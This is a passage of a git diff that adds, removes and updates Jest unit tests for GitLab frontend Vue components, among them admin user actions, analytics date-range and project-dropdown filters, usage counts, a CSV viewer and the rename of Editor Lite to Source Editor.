+ wrapper = null;
+ el = null;
+ });
+
+ it('parses and passes props', () => {
+ expect(findUserActions().props()).toMatchObject({
+ user,
+ paths,
+ });
+ });
+});
diff --git a/spec/frontend/admin/users/mock_data.js b/spec/frontend/admin/users/mock_data.js
index 4689ab36773..ded3e6f7edf 100644
--- a/spec/frontend/admin/users/mock_data.js
+++ b/spec/frontend/admin/users/mock_data.js
@@ -18,6 +18,8 @@ export const users = [
},
];
+export const user = users[0];
+
export const paths = {
edit: '/admin/users/id/edit',
approve: '/admin/users/id/approve',
@@ -30,6 +32,8 @@ export const paths = {
delete: '/admin/users/id',
deleteWithContributions: '/admin/users/id',
adminUser: '/admin/users/id',
+ ban: '/admin/users/id/ban',
+ unban: '/admin/users/id/unban',
};
export const createGroupCountResponse = (groupCounts) => ({
diff --git a/spec/frontend/analytics/devops_report/components/service_ping_disabled_spec.js b/spec/frontend/analytics/devops_report/components/service_ping_disabled_spec.js
new file mode 100644
index 00000000000..75ef9d9db94
--- /dev/null
+++ b/spec/frontend/analytics/devops_report/components/service_ping_disabled_spec.js
@@ -0,0 +1,61 @@
+import { GlEmptyState, GlSprintf } from '@gitlab/ui';
+import { TEST_HOST } from 'helpers/test_constants';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import ServicePingDisabled from '~/analytics/devops_report/components/service_ping_disabled.vue';
+
+describe('~/analytics/devops_report/components/service_ping_disabled.vue', () => {
+ let wrapper;
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const createWrapper = ({ isAdmin = false } = {}) => {
+ wrapper = shallowMountExtended(ServicePingDisabled, {
+ provide: {
+ isAdmin,
+ svgPath: TEST_HOST,
+ docsLink: TEST_HOST,
+ primaryButtonPath: TEST_HOST,
+ },
+ stubs: { GlEmptyState, GlSprintf },
+ });
+ };
+
+ const findEmptyState = () => wrapper.findComponent(GlEmptyState);
+ const findMessageForRegularUsers = () => wrapper.findComponent(GlSprintf);
+ const findDocsLink = () => wrapper.findByTestId('docs-link');
+ const findPowerOnButton = () => wrapper.findByTestId('power-on-button');
+
+ it('renders empty state with provided SVG path', () => {
+ createWrapper();
+
+ expect(findEmptyState().props('svgPath')).toBe(TEST_HOST);
+ });
+
+ describe('for regular users', () => {
+ beforeEach(() => {
+ createWrapper({ isAdmin: false });
+ });
+
+ it('renders message without power-on button', () => {
+ expect(findMessageForRegularUsers().exists()).toBe(true);
+ expect(findPowerOnButton().exists()).toBe(false);
+ });
+
+ it('renders docs link', () => {
+ expect(findDocsLink().exists()).toBe(true);
+ expect(findDocsLink().attributes('href')).toBe(TEST_HOST);
+ });
+ });
+
+ describe('for admins', () => {
+ beforeEach(() => {
+ createWrapper({ isAdmin: true });
+ });
+
+ it('renders power-on button', () => {
+ expect(findPowerOnButton().exists()).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/analytics/shared/components/daterange_spec.js b/spec/frontend/analytics/shared/components/daterange_spec.js
new file mode 100644
index 00000000000..854582abb82
--- /dev/null
+++ b/spec/frontend/analytics/shared/components/daterange_spec.js
@@ -0,0 +1,120 @@
+import { GlDaterangePicker } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import { useFakeDate } from 'helpers/fake_date';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import Daterange from '~/analytics/shared/components/daterange.vue';
+
+const defaultProps = {
+ startDate: new Date(2019, 8, 1),
+ endDate: new Date(2019, 8, 11),
+};
+
+describe('Daterange component', () => {
+ useFakeDate(2019, 8, 25);
+
+ let wrapper;
+
+ const factory = (props = defaultProps) => {
+ wrapper = mount(Daterange, {
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ directives: { GlTooltip: createMockDirective() },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findDaterangePicker = () => wrapper.find(GlDaterangePicker);
+
+ const findDateRangeIndicator = () => wrapper.find('.daterange-indicator');
+
+ describe('template', () => {
+ describe('when show is false', () => {
+ it('does not render the daterange picker', () => {
+ factory({ show: false });
+ expect(findDaterangePicker().exists()).toBe(false);
+ });
+ });
+
+ describe('when show is true', () => {
+ it('renders the daterange picker', () => {
+ factory({ show: true });
+ expect(findDaterangePicker().exists()).toBe(true);
+ });
+ });
+
+ describe('with a minDate being set', () => {
+ it('emits the change event with the minDate when the user enters a start date before the minDate', () => {
+ const startDate = new Date('2019-09-01');
+ const endDate = new Date('2019-09-30');
+ const minDate = new Date('2019-06-01');
+
+ factory({ show: true, startDate, endDate, minDate });
+
+ const input = findDaterangePicker().find('input');
+
+ input.setValue('2019-01-01');
+ input.trigger('change');
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(wrapper.emitted().change).toEqual([[{ startDate: minDate, endDate }]]);
+ });
+ });
+ });
+
+ describe('with a maxDateRange being set', () => {
+ beforeEach(() => {
+ factory({ maxDateRange: 30 });
+ });
+
+ it('displays the max date range indicator', () => {
+ expect(findDateRangeIndicator().exists()).toBe(true);
+ });
+
+ it('displays the correct number of selected days in the indicator', () => {
+ expect(findDateRangeIndicator().find('span').text()).toBe('10 days selected');
+ });
+
+ it('displays a tooltip', () => {
+ const icon = wrapper.find('[data-testid="helper-icon"]');
+ const tooltip = getBinding(icon.element, 'gl-tooltip');
+
+ expect(tooltip).toBeDefined();
+ expect(icon.attributes('title')).toBe(
+ 'Showing data for workflow items created in this date range. Date range cannot exceed 30 days.',
+ );
+ });
+ });
+ });
+
+ describe('computed', () => {
+ describe('dateRange', () => {
+ beforeEach(() => {
+ factory({ show: true });
+ });
+
+ describe('set', () => {
+ it('emits the change event with an object containing startDate and endDate', () => {
+ const startDate = new Date('2019-10-01');
+ const endDate = new Date('2019-10-05');
+ wrapper.vm.dateRange = { startDate, endDate };
+
+ expect(wrapper.emitted().change).toEqual([[{ startDate, endDate }]]);
+ });
+ });
+
+ describe('get', () => {
+ it("returns value of dateRange from state's startDate and endDate", () => {
+ expect(wrapper.vm.dateRange).toEqual({
+ startDate: defaultProps.startDate,
+ endDate: defaultProps.endDate,
+ });
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/analytics/shared/components/metric_card_spec.js b/spec/frontend/analytics/shared/components/metric_card_spec.js
deleted file mode 100644
index 7f587d227ab..00000000000
--- a/spec/frontend/analytics/shared/components/metric_card_spec.js
+++ /dev/null
@@ -1,129 +0,0 @@
-import { GlDeprecatedSkeletonLoading as GlSkeletonLoading } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-import MetricCard from '~/analytics/shared/components/metric_card.vue';
-
-const metrics = [
- { key: 'first_metric', value: 10, label: 'First metric', unit: 'days', link: 'some_link' },
- { key: 'second_metric', value: 20, label: 'Yet another metric' },
- { key: 'third_metric', value: null, label: 'Null metric without value', unit: 'parsecs' },
- { key: 'fourth_metric', value: '-', label: 'Metric without value', unit: 'parsecs' },
-];
-
-const defaultProps = {
- title: 'My fancy title',
- isLoading: false,
- metrics,
-};
-
-describe('MetricCard', () => {
- let wrapper;
-
- const factory = (props = defaultProps) => {
- wrapper = mount(MetricCard, {
- propsData: {
- ...defaultProps,
- ...props,
- },
- directives: {
- GlTooltip: createMockDirective(),
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- const findTitle = () => wrapper.find({ ref: 'title' });
- const findLoadingIndicator = () => wrapper.find(GlSkeletonLoading);
- const findMetricsWrapper = () => wrapper.find({ ref: 'metricsWrapper' });
- const findMetricItem = () => wrapper.findAll({ ref: 'metricItem' });
- const findTooltip = () => wrapper.find('[data-testid="tooltip"]');
-
- describe('template', () => {
- it('renders the title', () => {
- factory();
-
- expect(findTitle().text()).toContain('My fancy title');
- });
-
- describe('when isLoading is true', () => {
- beforeEach(() => {
- factory({ isLoading: true });
- });
-
- it('displays a loading indicator', () => {
- expect(findLoadingIndicator().exists()).toBe(true);
- });
-
- it('does not display the metrics container', () => {
- expect(findMetricsWrapper().exists()).toBe(false);
- });
- });
-
- describe('when isLoading is false', () => {
- beforeEach(() => {
- factory({ isLoading: false });
- });
-
- it('does not display a loading indicator', () => {
- expect(findLoadingIndicator().exists()).toBe(false);
- });
-
- it('displays the metrics container', () => {
- expect(findMetricsWrapper().exists()).toBe(true);
- });
-
- it('renders two metrics', () => {
- expect(findMetricItem()).toHaveLength(metrics.length);
- });
-
- describe('with tooltip text', () => {
- const tooltipText = 'This is a tooltip';
- const tooltipMetric = {
- key: 'fifth_metric',
- value: '-',
- label: 'Metric with tooltip',
- unit: 'parsecs',
- tooltipText,
- };
-
- beforeEach(() => {
- factory({
- isLoading: false,
- metrics: [tooltipMetric],
- });
- });
-
- it('will render a tooltip', () => {
- const tt = getBinding(findTooltip().element, 'gl-tooltip');
- expect(tt.value.title).toEqual(tooltipText);
- });
- });
-
- describe.each`
- columnIndex | label | value | unit | link
- ${0} | ${'First metric'} | ${10} | ${' days'} | ${'some_link'}
- ${1} | ${'Yet another metric'} | ${20} | ${''} | ${null}
- ${2} | ${'Null metric without value'} | ${'-'} | ${''} | ${null}
- ${3} | ${'Metric without value'} | ${'-'} | ${''} | ${null}
- `('metric columns', ({ columnIndex, label, value, unit, link }) => {
- it(`renders ${value}${unit} ${label} with URL ${link}`, () => {
- const allMetricItems = findMetricItem();
- const metricItem = allMetricItems.at(columnIndex);
- const text = metricItem.text();
-
- expect(text).toContain(`${value}${unit}`);
- expect(text).toContain(label);
-
- if (link) {
- expect(metricItem.find('a').attributes('href')).toBe(link);
- } else {
- expect(metricItem.find('a').exists()).toBe(false);
- }
- });
- });
- });
- });
-});
diff --git a/spec/frontend/analytics/shared/components/projects_dropdown_filter_spec.js b/spec/frontend/analytics/shared/components/projects_dropdown_filter_spec.js
new file mode 100644
index 00000000000..2537b8fb816
--- /dev/null
+++ b/spec/frontend/analytics/shared/components/projects_dropdown_filter_spec.js
@@ -0,0 +1,264 @@
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import { TEST_HOST } from 'helpers/test_constants';
+import ProjectsDropdownFilter from '~/analytics/shared/components/projects_dropdown_filter.vue';
+import getProjects from '~/analytics/shared/graphql/projects.query.graphql';
+
+const projects = [
+ {
+ id: 'gid://gitlab/Project/1',
+ name: 'Gitlab Test',
+ fullPath: 'gitlab-org/gitlab-test',
+ avatarUrl: `${TEST_HOST}/images/home/nasa.svg`,
+ },
+ {
+ id: 'gid://gitlab/Project/2',
+ name: 'Gitlab Shell',
+ fullPath: 'gitlab-org/gitlab-shell',
+ avatarUrl: null,
+ },
+ {
+ id: 'gid://gitlab/Project/3',
+ name: 'Foo',
+ fullPath: 'gitlab-org/foo',
+ avatarUrl: null,
+ },
+];
+
+const defaultMocks = {
+ $apollo: {
+ query: jest.fn().mockResolvedValue({
+ data: { group: { projects: { nodes: projects } } },
+ }),
+ },
+};
+
+let spyQuery;
+
+describe('ProjectsDropdownFilter component', () => {
+ let wrapper;
+
+ const createComponent = (props = {}) => {
+ spyQuery = defaultMocks.$apollo.query;
+ wrapper = mount(ProjectsDropdownFilter, {
+ mocks: { ...defaultMocks },
+ propsData: {
+ groupId: 1,
+ groupNamespace: 'gitlab-org',
+ ...props,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findDropdown = () => wrapper.find(GlDropdown);
+
+ const findDropdownItems = () =>
+ findDropdown()
+ .findAll(GlDropdownItem)
+ .filter((w) => w.text() !== 'No matching results');
+
+ const findDropdownAtIndex = (index) => findDropdownItems().at(index);
+
+ const findDropdownButton = () => findDropdown().find('.dropdown-toggle');
+ const findDropdownButtonAvatar = () => findDropdown().find('.gl-avatar');
+ const findDropdownButtonAvatarAtIndex = (index) =>
+ findDropdownAtIndex(index).find('img.gl-avatar');
+ const findDropdownButtonIdentIconAtIndex = (index) =>
+ findDropdownAtIndex(index).find('div.gl-avatar-identicon');
+
+ const findDropdownNameAtIndex = (index) =>
+ findDropdownAtIndex(index).find('[data-testid="project-name"');
+ const findDropdownFullPathAtIndex = (index) =>
+ findDropdownAtIndex(index).find('[data-testid="project-full-path"]');
+
+ const selectDropdownItemAtIndex = (index) =>
+ findDropdownAtIndex(index).find('button').trigger('click');
+
+ const selectedIds = () => wrapper.vm.selectedProjects.map(({ id }) => id);
+
+ describe('queryParams are applied when fetching data', () => {
+ beforeEach(() => {
+ createComponent({
+ queryParams: {
+ first: 50,
+ includeSubgroups: true,
+ },
+ });
+ });
+
+ it('applies the correct queryParams when making an api call', async () => {
+ wrapper.setData({ searchTerm: 'gitlab' });
+
+ expect(spyQuery).toHaveBeenCalledTimes(1);
+
+ await wrapper.vm.$nextTick(() => {
+ expect(spyQuery).toHaveBeenCalledWith({
+ query: getProjects,
+ variables: {
+ search: 'gitlab',
+ groupFullPath: wrapper.vm.groupNamespace,
+ first: 50,
+ includeSubgroups: true,
+ },
+ });
+ });
+ });
+ });
+
+ describe('when passed a an array of defaultProject as prop', () => {
+ beforeEach(() => {
+ createComponent({
+ defaultProjects: [projects[0]],
+ });
+ });
+
+ it("displays the defaultProject's name", () => {
+ expect(findDropdownButton().text()).toContain(projects[0].name);
+ });
+
+ it("renders the defaultProject's avatar", () => {
+ expect(findDropdownButtonAvatar().exists()).toBe(true);
+ });
+
+ it('marks the defaultProject as selected', () => {
+ expect(findDropdownAtIndex(0).props('isChecked')).toBe(true);
+ });
+ });
+
+ describe('when multiSelect is false', () => {
+ beforeEach(() => {
+ createComponent({ multiSelect: false });
+ });
+
+ describe('displays the correct information', () => {
+ it('contains 3 items', () => {
+ expect(findDropdownItems()).toHaveLength(3);
+ });
+
+ it('renders an avatar when the project has an avatarUrl', () => {
+ expect(findDropdownButtonAvatarAtIndex(0).exists()).toBe(true);
+ expect(findDropdownButtonIdentIconAtIndex(0).exists()).toBe(false);
+ });
+
+ it("renders an identicon when the project doesn't have an avatarUrl", () => {
+ expect(findDropdownButtonAvatarAtIndex(1).exists()).toBe(false);
+ expect(findDropdownButtonIdentIconAtIndex(1).exists()).toBe(true);
+ });
+
+ it('renders the project name', () => {
+ projects.forEach((project, index) => {
+ expect(findDropdownNameAtIndex(index).text()).toBe(project.name);
+ });
+ });
+
+ it('renders the project fullPath', () => {
+ projects.forEach((project, index) => {
+ expect(findDropdownFullPathAtIndex(index).text()).toBe(project.fullPath);
+ });
+ });
+ });
+
+ describe('on project click', () => {
+ it('should emit the "selected" event with the selected project', () => {
+ selectDropdownItemAtIndex(0);
+
+ expect(wrapper.emitted().selected).toEqual([[[projects[0]]]]);
+ });
+
+ it('should change selection when new project is clicked', () => {
+ selectDropdownItemAtIndex(1);
+
+ expect(wrapper.emitted().selected).toEqual([[[projects[1]]]]);
+ });
+
+ it('selection should be emptied when a project is deselected', () => {
+ selectDropdownItemAtIndex(0); // Select the item
+ selectDropdownItemAtIndex(0); // deselect it
+
+ expect(wrapper.emitted().selected).toEqual([[[projects[0]]], [[]]]);
+ });
+
+ it('renders an avatar in the dropdown button when the project has an avatarUrl', async () => {
+ selectDropdownItemAtIndex(0);
+
+ await wrapper.vm.$nextTick().then(() => {
+ expect(findDropdownButtonAvatarAtIndex(0).exists()).toBe(true);
+ expect(findDropdownButtonIdentIconAtIndex(0).exists()).toBe(false);
+ });
+ });
+
+ it("renders an identicon in the dropdown button when the project doesn't have an avatarUrl", async () => {
+ selectDropdownItemAtIndex(1);
+
+ await wrapper.vm.$nextTick().then(() => {
+ expect(findDropdownButtonAvatarAtIndex(1).exists()).toBe(false);
+ expect(findDropdownButtonIdentIconAtIndex(1).exists()).toBe(true);
+ });
+ });
+ });
+ });
+
+ describe('when multiSelect is true', () => {
+ beforeEach(() => {
+ createComponent({ multiSelect: true });
+ });
+
+ describe('displays the correct information', () => {
+ it('contains 3 items', () => {
+ expect(findDropdownItems()).toHaveLength(3);
+ });
+
+ it('renders an avatar when the project has an avatarUrl', () => {
+ expect(findDropdownButtonAvatarAtIndex(0).exists()).toBe(true);
+ expect(findDropdownButtonIdentIconAtIndex(0).exists()).toBe(false);
+ });
+
+ it("renders an identicon when the project doesn't have an avatarUrl", () => {
+ expect(findDropdownButtonAvatarAtIndex(1).exists()).toBe(false);
+ expect(findDropdownButtonIdentIconAtIndex(1).exists()).toBe(true);
+ });
+
+ it('renders the project name', () => {
+ projects.forEach((project, index) => {
+ expect(findDropdownNameAtIndex(index).text()).toBe(project.name);
+ });
+ });
+
+ it('renders the project fullPath', () => {
+ projects.forEach((project, index) => {
+ expect(findDropdownFullPathAtIndex(index).text()).toBe(project.fullPath);
+ });
+ });
+ });
+
+ describe('on project click', () => {
+ it('should add to selection when new project is clicked', () => {
+ selectDropdownItemAtIndex(0);
+ selectDropdownItemAtIndex(1);
+
+ expect(selectedIds()).toEqual([projects[0].id, projects[1].id]);
+ });
+
+ it('should remove from selection when clicked again', () => {
+ selectDropdownItemAtIndex(0);
+ expect(selectedIds()).toEqual([projects[0].id]);
+
+ selectDropdownItemAtIndex(0);
+ expect(selectedIds()).toEqual([]);
+ });
+
+ it('renders the correct placeholder text when multiple projects are selected', async () => {
+ selectDropdownItemAtIndex(0);
+ selectDropdownItemAtIndex(1);
+
+ await wrapper.vm.$nextTick().then(() => {
+ expect(findDropdownButton().text()).toBe('2 projects selected');
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/analytics/shared/utils_spec.js b/spec/frontend/analytics/shared/utils_spec.js
new file mode 100644
index 00000000000..e3293f2d8bd
--- /dev/null
+++ b/spec/frontend/analytics/shared/utils_spec.js
@@ -0,0 +1,24 @@
+import { filterBySearchTerm } from '~/analytics/shared/utils';
+
+describe('filterBySearchTerm', () => {
+ const data = [
+ { name: 'eins', title: 'one' },
+ { name: 'zwei', title: 'two' },
+ { name: 'drei', title: 'three' },
+ ];
+ const searchTerm = 'rei';
+
+ it('filters data by `name` for the provided search term', () => {
+ expect(filterBySearchTerm(data, searchTerm)).toEqual([data[2]]);
+ });
+
+ it('with no search term returns the data', () => {
+ ['', null].forEach((search) => {
+ expect(filterBySearchTerm(data, search)).toEqual(data);
+ });
+ });
+
+ it('with a key, filters by the provided key', () => {
+ expect(filterBySearchTerm(data, 'ne', 'title')).toEqual([data[0]]);
+ });
+});
diff --git a/spec/frontend/analytics/usage_trends/components/instance_counts_spec.js b/spec/frontend/analytics/usage_trends/components/instance_counts_spec.js
deleted file mode 100644
index 707d2cc310f..00000000000
--- a/spec/frontend/analytics/usage_trends/components/instance_counts_spec.js
+++ /dev/null
@@ -1,54 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import MetricCard from '~/analytics/shared/components/metric_card.vue';
-import UsageCounts from '~/analytics/usage_trends/components/usage_counts.vue';
-import { mockUsageCounts } from '../mock_data';
-
-describe('UsageCounts', () => {
- let wrapper;
-
- const createComponent = ({ loading = false, data = {} } = {}) => {
- const $apollo = {
- queries: {
- counts: {
- loading,
- },
- },
- };
-
- wrapper = shallowMount(UsageCounts, {
- mocks: { $apollo },
- data() {
- return {
- ...data,
- };
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- const findMetricCard = () => wrapper.find(MetricCard);
-
- describe('while loading', () => {
- beforeEach(() => {
- createComponent({ loading: true });
- });
-
- it('displays the metric card with isLoading=true', () => {
- expect(findMetricCard().props('isLoading')).toBe(true);
- });
- });
-
- describe('with data', () => {
- beforeEach(() => {
- createComponent({ data: { counts: mockUsageCounts } });
- });
-
- it('passes the counts data to the metric card', () => {
- expect(findMetricCard().props('metrics')).toEqual(mockUsageCounts);
- });
- });
-});
diff --git a/spec/frontend/analytics/usage_trends/components/usage_counts_spec.js b/spec/frontend/analytics/usage_trends/components/usage_counts_spec.js
new file mode 100644
index 00000000000..703767dab47
--- /dev/null
+++ b/spec/frontend/analytics/usage_trends/components/usage_counts_spec.js
@@ -0,0 +1,62 @@
+import { GlDeprecatedSkeletonLoading as GlSkeletonLoading } from '@gitlab/ui';
+import { GlSingleStat } from '@gitlab/ui/dist/charts';
+import { shallowMount } from '@vue/test-utils';
+import UsageCounts from '~/analytics/usage_trends/components/usage_counts.vue';
+import { mockUsageCounts } from '../mock_data';
+
+describe('UsageCounts', () => {
+ let wrapper;
+
+ const createComponent = ({ loading = false, data = {} } = {}) => {
+ const $apollo = {
+ queries: {
+ counts: {
+ loading,
+ },
+ },
+ };
+
+ wrapper = shallowMount(UsageCounts, {
+ mocks: { $apollo },
+ data() {
+ return {
+ ...data,
+ };
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findSkeletonLoader = () => wrapper.findComponent(GlSkeletonLoading);
+ const findAllSingleStats = () => wrapper.findAllComponents(GlSingleStat);
+
+ describe('while loading', () => {
+ beforeEach(() => {
+ createComponent({ loading: true });
+ });
+
+ it('displays a loading indicator', () => {
+ expect(findSkeletonLoader().exists()).toBe(true);
+ });
+ });
+
+ describe('with data', () => {
+ beforeEach(() => {
+ createComponent({ data: { counts: mockUsageCounts } });
+ });
+
+ it.each`
+ index | value | title
+ ${0} | ${mockUsageCounts[0].value} | ${mockUsageCounts[0].label}
+ ${1} | ${mockUsageCounts[1].value} | ${mockUsageCounts[1].label}
+ `('renders a GlSingleStat for "$title"', ({ index, value, title }) => {
+ const singleStat = findAllSingleStats().at(index);
+
+ expect(singleStat.props('value')).toBe(`${value}`);
+ expect(singleStat.props('title')).toBe(title);
+ });
+ });
+});
diff --git a/spec/frontend/api_spec.js b/spec/frontend/api_spec.js
index f708d8c7728..c3e5a2973d7 100644
--- a/spec/frontend/api_spec.js
+++ b/spec/frontend/api_spec.js
@@ -1481,7 +1481,7 @@ describe('Api', () => {
'Content-Type': 'application/json',
};
- describe('when usage data increment counter is called with feature flag disabled', () => {
+ describe('when service data increment counter is called with feature flag disabled', () => {
beforeEach(() => {
gon.features = { ...gon.features, usageDataApi: false };
});
@@ -1495,7 +1495,7 @@ describe('Api', () => {
});
});
- describe('when usage data increment counter is called', () => {
+ describe('when service data increment counter is called', () => {
beforeEach(() => {
gon.features = { ...gon.features, usageDataApi: true };
});
@@ -1526,7 +1526,7 @@ describe('Api', () => {
window.gon.current_user_id = 1;
});
- describe('when usage data increment unique users is called with feature flag disabled', () => {
+ describe('when service data increment unique users is called with feature flag disabled', () => {
beforeEach(() => {
gon.features = { ...gon.features, usageDataApi: false };
});
@@ -1541,7 +1541,7 @@ describe('Api', () => {
});
});
- describe('when usage data increment unique users is called', () => {
+ describe('when service data increment unique users is called', () => {
beforeEach(() => {
gon.features = { ...gon.features, usageDataApi: true };
});
diff --git a/spec/frontend/batch_comments/components/draft_note_spec.js b/spec/frontend/batch_comments/components/draft_note_spec.js
index c2d488a465e..5d22823e974 100644
--- a/spec/frontend/batch_comments/components/draft_note_spec.js
+++ b/spec/frontend/batch_comments/components/draft_note_spec.js
@@ -1,5 +1,6 @@
import { getByRole } from '@testing-library/dom';
import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { stubComponent } from 'helpers/stub_component';
import DraftNote from '~/batch_comments/components/draft_note.vue';
import { createStore } from '~/batch_comments/stores';
import NoteableNote from '~/notes/components/noteable_note.vue';
@@ -8,6 +9,14 @@ import { createDraft } from '../mock_data';
const localVue = createLocalVue();
+const NoteableNoteStub = stubComponent(NoteableNote, {
+ template: `
+ <div>
+ <slot name="note-header-info">Test</slot>
+ </div>
+ `,
+});
+
describe('Batch comments draft note component', () => {
let store;
let wrapper;
@@ -26,6 +35,9 @@ describe('Batch comments draft note component', () => {
store,
propsData,
localVue,
+ stubs: {
+ NoteableNote: NoteableNoteStub,
+ },
});
jest.spyOn(wrapper.vm.$store, 'dispatch').mockImplementation();
diff --git a/spec/frontend/blob/components/__snapshots__/blob_header_filepath_spec.js.snap b/spec/frontend/blob/components/__snapshots__/blob_header_filepath_spec.js.snap
index 53815820bbe..dfa6b99080b 100644
--- a/spec/frontend/blob/components/__snapshots__/blob_header_filepath_spec.js.snap
+++ b/spec/frontend/blob/components/__snapshots__/blob_header_filepath_spec.js.snap
@@ -10,7 +10,7 @@ exports[`Blob Header Filepath rendering matches the snapshot 1`] = `
cssclasses="mr-2"
filemode=""
filename="foo/bar/dummy.md"
- size="18"
+ size="16"
/>
<strong
diff --git a/spec/frontend/blob/components/blob_edit_content_spec.js b/spec/frontend/blob/components/blob_edit_content_spec.js
index 7de8d9236ed..9fc2356c018 100644
--- a/spec/frontend/blob/components/blob_edit_content_spec.js
+++ b/spec/frontend/blob/components/blob_edit_content_spec.js
@@ -3,7 +3,7 @@ import { nextTick } from 'vue';
import BlobEditContent from '~/blob/components/blob_edit_content.vue';
import * as utils from '~/blob/utils';
-jest.mock('~/editor/editor_lite');
+jest.mock('~/editor/source_editor');
describe('Blob Header Editing', () => {
let wrapper;
@@ -26,7 +26,7 @@ describe('Blob Header Editing', () => {
}
beforeEach(() => {
- jest.spyOn(utils, 'initEditorLite').mockImplementation(() => ({
+ jest.spyOn(utils, 'initSourceEditor').mockImplementation(() => ({
onDidChangeModelContent,
updateModelLanguage,
getValue,
@@ -68,9 +68,9 @@ describe('Blob Header Editing', () => {
expect(wrapper.find('#editor').exists()).toBe(true);
});
- it('initialises Editor Lite', () => {
+ it('initialises Source Editor', () => {
const el = wrapper.find({ ref: 'editor' }).element;
- expect(utils.initEditorLite).toHaveBeenCalledWith({
+ expect(utils.initSourceEditor).toHaveBeenCalledWith({
el,
blobPath: fileName,
blobGlobalId: fileGlobalId,
diff --git a/spec/frontend/blob/csv/csv_viewer_spec.js b/spec/frontend/blob/csv/csv_viewer_spec.js
new file mode 100644
index 00000000000..abb914b8f57
--- /dev/null
+++ b/spec/frontend/blob/csv/csv_viewer_spec.js
@@ -0,0 +1,75 @@
+import { GlAlert, GlLoadingIcon, GlTable } from '@gitlab/ui';
+import { getAllByRole } from '@testing-library/dom';
+import { shallowMount, mount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import CSVViewer from '~/blob/csv/csv_viewer.vue';
+
+const validCsv = 'one,two,three';
+const brokenCsv = '{\n "json": 1,\n "key": [1, 2, 3]\n}';
+
+describe('app/assets/javascripts/blob/csv/csv_viewer.vue', () => {
+ let wrapper;
+
+ const createComponent = ({ csv = validCsv, mountFunction = shallowMount } = {}) => {
+ wrapper = mountFunction(CSVViewer, {
+ propsData: {
+ csv,
+ },
+ });
+ };
+
+ const findCsvTable = () => wrapper.findComponent(GlTable);
+ const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+ const findAlert = () => wrapper.findComponent(GlAlert);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('should render loading spinner', () => {
+ createComponent();
+
+ expect(findLoadingIcon().props()).toMatchObject({
+ size: 'lg',
+ });
+ });
+
+ describe('when the CSV contains errors', () => {
+ it('should render alert', async () => {
+ createComponent({ csv: brokenCsv });
+ await nextTick;
+
+ expect(findAlert().props()).toMatchObject({
+ variant: 'danger',
+ });
+ });
+ });
+
+ describe('when the CSV contains no errors', () => {
+ it('should not render alert', async () => {
+ createComponent();
+ await nextTick;
+
+ expect(findAlert().exists()).toBe(false);
+ });
+
+ it('renders the CSV table with the correct attributes', async () => {
+ createComponent();
+ await nextTick;
+
+ expect(findCsvTable().attributes()).toMatchObject({
+ 'empty-text': 'No CSV data to display.',
+ items: validCsv,
+ });
+ });
+
+ it('renders the CSV table with the correct content', async () => {
+ createComponent({ mountFunction: mount });
+ await nextTick;
+
+ expect(getAllByRole(wrapper.element, 'row', { name: /One/i })).toHaveLength(1);
+ expect(getAllByRole(wrapper.element, 'row', { name: /Two/i })).toHaveLength(1);
+ expect(getAllByRole(wrapper.element, 'row', { name: /Three/i })).toHaveLength(1);
+ });
+ });
+});
diff --git a/spec/frontend/blob/utils_spec.js b/spec/frontend/blob/utils_spec.js
index 3ff2e47e0b6..a543c0060cb 100644
--- a/spec/frontend/blob/utils_spec.js
+++ b/spec/frontend/blob/utils_spec.js
@@ -1,10 +1,10 @@
import * as utils from '~/blob/utils';
-import Editor from '~/editor/editor_lite';
+import Editor from '~/editor/source_editor';
-jest.mock('~/editor/editor_lite');
+jest.mock('~/editor/source_editor');
describe('Blob utilities', () => {
- describe('initEditorLite', () => {
+ describe('initSourceEditor', () => {
let editorEl;
const blobPath = 'foo.txt';
const blobContent = 'Foo bar';
@@ -15,8 +15,8 @@ describe('Blob utilities', () => {
});
describe('Monaco editor', () => {
- it('initializes the Editor Lite', () => {
- utils.initEditorLite({ el: editorEl });
+ it('initializes the Source Editor', () => {
+ utils.initSourceEditor({ el: editorEl });
expect(Editor).toHaveBeenCalledWith({
scrollbar: {
alwaysConsumeMouseWheel: false,
@@ -34,7 +34,7 @@ describe('Blob utilities', () => {
expect(Editor.prototype.createInstance).not.toHaveBeenCalled();
- utils.initEditorLite(params);
+ utils.initSourceEditor(params);
expect(Editor.prototype.createInstance).toHaveBeenCalledWith(params);
},
diff --git a/spec/frontend/blob/viewer/index_spec.js b/spec/frontend/blob/viewer/index_spec.js
index e4f145ae81b..6a24b76abc8 100644
--- a/spec/frontend/blob/viewer/index_spec.js
+++ b/spec/frontend/blob/viewer/index_spec.js
@@ -6,6 +6,10 @@ import { setTestTimeout } from 'helpers/timeout';
import BlobViewer from '~/blob/viewer/index';
import axios from '~/lib/utils/axios_utils';
+const execImmediately = (callback) => {
+ callback();
+};
+
describe('Blob viewer', () => {
let blob;
let mock;
@@ -17,6 +21,7 @@ describe('Blob viewer', () => {
setTestTimeout(2000);
beforeEach(() => {
+ jest.spyOn(window, 'requestIdleCallback').mockImplementation(execImmediately);
$.fn.extend(jQueryMock);
mock = new MockAdapter(axios);
diff --git a/spec/frontend/blob_edit/blob_bundle_spec.js b/spec/frontend/blob_edit/blob_bundle_spec.js
index eecc54be35b..8986dfbfa9c 100644
